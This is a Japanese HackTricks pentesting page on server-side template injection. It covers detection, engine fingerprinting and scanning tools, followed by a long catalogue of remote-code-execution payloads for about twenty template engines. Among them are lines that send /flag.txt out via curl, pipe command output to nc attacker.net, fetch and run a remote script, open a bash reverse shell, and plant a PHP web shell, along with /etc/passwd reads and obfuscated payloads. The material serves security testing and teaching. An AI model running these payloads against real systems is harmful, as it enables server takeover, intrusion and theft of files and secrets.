hacktricks/pentesting-web/ssti-server-side-template-injection
2024-01-15 10:44:51 +00:00
..
el-expression-language.md Translated to Japanese 2023-07-07 23:42:27 +00:00
jinja2-ssti.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 20:59:40 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-01-15 10:44:51 +00:00

SSTI (サーバーサイドテンプレートインジェクション)

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

RootedCONは、スペインで最も重要なサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の普及を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる場です。

{% embed url="https://www.rootedcon.com/" %}

サーバーサイドテンプレートインジェクションとは何ですか?

サーバーサイドテンプレートインジェクションは、攻撃者がネイティブテンプレート構文を使用してテンプレートに悪意のあるペイロードを注入し、それがサーバーサイドで実行されるときに発生します。

テンプレートエンジンは、固定テンプレートと変動データを組み合わせて ウェブページを生成するように設計されています。サーバーサイドテンプレートインジェクション攻撃は、ユーザー入力がデータとして渡されるのではなく、直接テンプレートに連結されるときに発生する可能性があります。これにより、攻撃者は任意のテンプレートディレクティブを注入してテンプレートエンジンを操作し、しばしばサーバーの完全な制御を取ることを可能にします。

脆弱なコードの例を以下に示します:

$output = $twig->render("Dear " . $_GET['name']);

前の例では、GET パラメータ name を使用してテンプレートの一部動的に生成されています。テンプレート構文はサーバー側で評価されるため、攻撃者は以下のように name パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置する可能性があります:

http://vulnerable-website.com/?name={{bad-stuff-here}}

サーバーサイドテンプレートインジェクション攻撃の構築

検出

あらゆる脆弱性と同様に、最初のステップはそれを見つけることです。おそらく最も単純な初期アプローチは、テンプレート式で一般的に使用される特殊文字のシーケンスを注入してテンプレートをファジングすることです。例えば、ポリグロット**${{<%[%'"}}%\です。
サーバーが脆弱であるかどうかを確認するためには、パラメーターに
通常のデータ与えられたペイロードの応答の違いを見分ける必要があります。
エラーが発生した場合サーバーが脆弱であることと、どの
エンジンが動作しているかを簡単に把握できます。しかし、与えられたペイロードを反映することを期待していた場合に、それが反映されていない**、または応答にいくつかの文字が欠けている場合にも、脆弱なサーバーを見つけることができます。

検出 - プレーンテキストコンテキスト

与えられた入力はレンダリングされて応答に反映されています。これは簡単にXSS脆弱性と間違えられがちですが、テンプレート式内で数学的な操作を試みることで簡単に区別できます。

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

検出 - コードコンテキスト

これらのケースでは、ユーザー入力テンプレート式内部に配置されています:

engine.render("Hello {{"+greeting+"}}", data)

以下は、ページにアクセスするURLが似ている可能性がありますhttp://vulnerable-website.com/?greeting=data.username

もし**greeting** パラメータを異なる値変更すると、レスポンスにはユーザー名が含まれませんが、次のようにアクセスすると:http://vulnerable-website.com/?greeting=data.username}}hello その場合、レスポンスにはユーザー名が含まれます(もし閉じテンプレート式の文字が }} だった場合)。
これらのテスト中にエラーが発生した場合、サーバーが脆弱であることを見つけるのが容易になります。

識別

テンプレートインジェクションの可能性を検出したら、次のステップはテンプレートエンジンを識別することです。
多くのテンプレート言語がありますが、多くはHTML文字と衝突しないように特別に選ばれた非常に似た構文を使用しています。

運が良ければ、サーバーはエラーを出力しており、エラーの中に使用されているエンジンを見つけることができるでしょう。エラーを引き起こす可能性のあるいくつかのペイロードは以下の通りです:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

それ以外の場合は、手動で言語固有のペイロードをテストし、テンプレートエンジンによってどのように解釈されるかを研究する必要があります。これを行う一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学的操作を注入し、それらが正常に評価されるかどうかを観察することです。このプロセスを支援するために、以下のような意思決定ツリーを使用できます:

悪用

読む

テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。関心のある主な領域は:

  • 基本構文をカバーする「テンプレート作者のための」セクション。
  • 「セキュリティ上の考慮事項」 - アプリを開発した人がこれを読んでいない可能性があり、役立つヒントが含まれているかもしれません。
  • 組み込みのメソッド、関数、フィルター、変数のリスト。
  • 拡張機能/プラグインのリスト - いくつかはデフォルトで有効になっているかもしれません。

探索

自明な悪用が提示されていない場合、次のステップは環境を探索して、正確にアクセスできるものを見つけることです。テンプレートエンジンによって提供されるデフォルトオブジェクトと、開発者によってテンプレートに渡されるアプリケーション固有のオブジェクトの両方を見つけることができるでしょう。多くのテンプレートシステムは、スコープ内のすべてを含む「self」または名前空間オブジェクトを公開し、オブジェクトの属性とメソッドをリストする慣用的な方法を提供します。

組み込みのselfオブジェクトがない場合は、SecListsとBurp Intruderのワードリストコレクションを使用して変数名をブルートフォースする必要があります。

開発者によって提供されたオブジェクトは、特に機密情報を含む可能性が高く、アプリケーション内の異なるテンプレート間で変わる可能性があるため、このプロセスは理想的には個々のテンプレートごとに適用されるべきです。

攻撃

この時点で、利用可能な攻撃面についてしっかりとした考えを持っているはずであり、伝統的なセキュリティ監査技術を使用して、悪用可能な脆弱性があるかどうか各機能をレビューすることができます。これを広範なアプリケーションの文脈でアプローチすることが重要です - 一部の機能は、アプリケーション固有の機能を悪用するために使用できます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクトの作成、任意のファイルの読み書き、リモートファイルのインクルード、情報漏洩、権限昇格の脆弱性をトリガーします。

ツール

TInjA

効率的なSSTI + CSTIスキャナーで、新しいポリグロットを利用しています。

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

テンプレートインジェクション表

44の最も重要なテンプレートエンジンの予想される応答とともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブな表。

エクスプロイト

ジェネリック

このワードリストでは、以下に挙げるエンジンの環境で定義されている変数を見つけることができます:

Java

Java - 基本的なインジェクション

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - システムの環境変数を取得する

${T(java.lang.System).getenv()}

Java - /etc/passwd の取得

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

https://try.freemarker.apache.org でペイロードを試すことができます。

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (レガシー)
  • ${7*'7'} 何もなし
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - サンドボックスバイパス

⚠️ Freemarkerのバージョンが2.3.30未満の場合にのみ機能します

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳細情報

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

詳細情報

Thymeleaf (Java)

SSTIの典型的なテスト表現は${7*7}です。この表現はThymeleafでも機能します。リモートコード実行を達成したい場合、以下のテスト表現のいずれかを使用できます

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

しかし、前に述べたように、表現は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で表現を使用する必要がある場合、Thymeleafは_式のインライン化_をサポートしています。この機能を使用するには、表現を[[...]]または[(...)]特殊記号をエスケープする必要があるかどうかに応じて選択の中に置く必要があります。したがって、ThymeleafのためのシンプルなSSTI検出ペイロードは[[${7*7}]]になります。

しかし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成されたときに発生します。デフォルトでは、Thymeleafはそのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成される必要があります。したがって、開発者が_その場で_文字列からテンプレートを作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常にまれにしか発生しません。

Thymeleafテンプレートエンジンのドキュメントをより深く見ると、_式の前処理_と呼ばれる興味深い機能が見つかります。二重のアンダースコア(__...__)の間に置かれた表現は前処理され、前処理の結果が通常の処理中に表現の一部として使用されます。以下はThymeleafドキュメントからの公式な例です

#{selection.__${sel.code}__}

脆弱な例

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳細情報

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルターをバイパスする

複数の変数式を使用できます。${...} が機能しない場合は、#{...}, *{...}, @{...}, または ~{...} を試してください。

  • /etc/passwd を読む
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ペイロード生成のためのカスタムスクリプト
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳細情報

Spring View 操作 (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの古いバージョン ( < バージョン 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新しいバージョンのPebble

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

JinjavaはHubspotによって開発されたオープンソースプロジェクトで、https://github.com/HubSpot/jinjava/で利用可能です。

Jinjava - コマンド実行

https://github.com/HubSpot/jinjava/pull/230によって修正されました。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳細情報

Hubspot - HuBL (Java)

  • {% %} ステートメント区切り文字
  • {{ }} 式区切り文字
  • {# #} コメント区切り文字
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、Jinjavaプロジェクト on Githubを発見。

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

詳細情報

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

ELは、プレゼンテーション層ウェブページがアプリケーションロジック管理ビーンズと通信するための重要なメカニズムを提供します。ELは、JavaServer Faces技術、JavaServer PagesJSP技術、Java EEのコンテキストと依存性注入CDIなど、複数のJavaEE技術によって使用されています。
ELインタープリタの悪用についてもっと学ぶには、以下のページを確認してください:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

このセキュリティマネージャーのバイパスは、このレポートから取られました。

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCONは、スペインで最も重要なサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の普及を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる活発な交流の場です。

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳細情報

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = エラー
  • {{foobar}} 何もなし
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレート形式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳細情報

Plates (PHP)

PlatesはTwigに触発されたものですが、コンパイルされたテンプレートエンジンではなく、ネイティブPHPテンプレートエンジンです。

コントローラー:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ページテンプレート:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template: レイアウトテンプレート:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlibとHTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIBはPHPlibと同じですが、Pearに移植されています。

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

詳細情報

patTemplate (PHP)

patTemplateはコンパイルを行わないPHPテンプレートエンジンで、XMLタグを使用して文書を異なる部分に分割します。

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

パス トラバーサル(詳細はこちら)。

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = エラー
  • ${7*7} = ${7*7}
  • 何もなし
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

詳細情報

JsRender (NodeJS)

テンプレート 説明
出力を評価し、レンダリングする
HTMLエンコードされた出力を評価し、レンダリングする
コメント
and コードを許可する(デフォルトでは無効)
  • = 49

クライアントサイド

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

サーバーサイド

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

詳細情報

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

サーバーサイドレンダリングの例

var pugjs = require('pug');
home = pugjs.render(injected_page)

詳細情報

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 出力なし
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

詳細情報

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = エラー
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

詳細情報

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

詳細情報

Python

Pythonでの任意のコマンド実行をサンドボックスをバイパスして行うトリックについては、以下のページを参照してください:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = エラー
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

詳細情報

Jinja2 (Python)

公式ウェブサイト

Jinja2はPython用のフル機能を備えたテンプレートエンジンです。完全なユニコードサポートを持ち、オプションで統合されたサンドボックス実行環境があり、広く使用されておりBSDライセンスです。

  • {{7*7}} = エラー
  • ${7*7} = ${7*7}
  • {{foobar}} 何もなし
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - テンプレート形式

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


__builtins__に依存しない RCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinjaの悪用方法についての詳細:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= 成功
  • @() <= 成功
  • @("{{code}}") <= 成功
  • @ <=成功
  • @{} <= エラー!
  • @{ <= エラー!
  • @(1+2)
  • @( //C#コード )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
